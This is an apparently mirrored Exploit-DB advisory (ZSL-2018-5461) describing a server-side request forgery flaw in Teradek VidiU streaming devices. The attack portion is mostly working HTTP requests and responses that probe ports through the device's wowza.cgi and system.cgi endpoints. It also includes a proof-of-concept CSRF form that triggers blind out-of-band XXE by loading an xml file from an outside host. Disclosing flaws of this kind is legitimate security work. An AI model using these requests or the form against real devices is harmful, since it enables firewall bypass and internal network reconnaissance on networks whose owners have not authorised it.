Teradek VidiU Pro 3.0.3 – Server-Side Request Forgery

  • 作者: LiquidWorm
    日期: 2018-05-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44672/
  • Teradek VidiU Pro 3.0.3 SSRF Vulnerability
    
    
    Vendor: Teradek, LLC
    Product web page: https://www.teradek.com
    Affected version: VidiU, VidiU Mini, VidiU Pro
    3.0.3r32136
    3.0.2r31225
    2.4.10
    
    Summary: The Teradek VidiU gives you the freedom to broadcast live
    high definition video directly to the Web without a PC. Whether you're
    streaming out of a video switcher or wirelessly from your camera,
    VidiU allows you to go live when you want, where you want. VidiU
    offers API level integration with the Ustream, YouTube Live and
    Livestream platforms, which makes streaming to your channel as
    easy as logging into your account.
    
    Desc: A server-side request forgery (SSRF) vulnerability exists in
    the VidiU management interface within the RTMP settings and the Wowza
    server mode functionality. The application parses user supplied data
    in the GET parameters 'url' and 'xml_url' to construct a page request
    that loads the configuration for specific service. Since no validation
    is carried out on the parameters, an attacker can specify an external
    domain and force the application to make a HTTP request to an arbitrary
    destination host, including xml data parsing (XXE potential). This can
    be used by an external attacker for example to bypass firewalls and
    initiate a service and network enumeration on the internal network
    through the affected application.
    
    Tested on: lighttpd/1.4.48
     lighttpd/1.4.31
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    @zeroscience
    
    
    Advisory ID: ZSL-2018-5461
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5461.php
    
    
    02.03.2018
    
    --
    
    
    SSRF open port:
    ---------------
    
    GET /cgi-bin/wowza.cgi?command=read_url&url=zeroscience.mk:443&_=1526243349301 HTTP/1.1 
    Host: 127.0.0.1:8090 
     
    
    HTTP/1.1 200 OK 
    Content-Type: application/json 
    Connection: close 
    Date: Sun, 13 May 2018 21:42:30 GMT 
    Server: lighttpd/1.4.31 
    Content-Length: 31 
     
    {"error":"invalid parameters"}
    
    
    SSRF closed port:
    -----------------
    
    GET /cgi-bin/wowza.cgi?command=read_url&url=zeroscience.mk:7777&_=1526243349301 HTTP/1.1 
    Host: 127.0.0.1:8090 
    
    
    HTTP/1.1 200 OK 
    Content-Length: 0 
    Connection: close 
    Date: Sun, 13 May 2018 21:43:30 GMT 
    Server: lighttpd/1.4.31
    
    
    ===================================================
    
    
    SSRF closed port:
    -----------------
    
    GET /cgi-bin/system.cgi?command=rtmp&action=rtmp_xml_from_url&xml_url=zeroscience.mk:7777&_=1526244218671 HTTP/1.1 
    Host: 127.0.0.1:8090 
    
    
    {"result":"error", "error":"Curl error"}
    
    
    SSRF open port:
    ---------------
    
    GET /cgi-bin/system.cgi?command=rtmp&action=rtmp_xml_from_url&xml_url=zeroscience.mk:443&_=1526244218671 HTTP/1.1 
    Host: 127.0.0.1:8090 
    
    
    {"result":"error", "error":"Bad request"}
    
    
    ===================================================
    
    
    PoC CSRF Blind XXE SSRF OOB:
    ----------------------------
    
    <html>
    <body>
    <form action="http://127.0.0.1:8090/cgi-bin/system.cgi">
    <input type="hidden" name="command" value="rtmp" />
    <input type="hidden" name="action" value="rtmp_xml_from_url" />
    <input type="hidden" name="xml_url" value="http://site.tld/xxe.xml" />
    <input type="hidden" name="_" value="1526244218671" />
    <input type="submit" value="Submit request" />
    </form>
    </body>
    </html>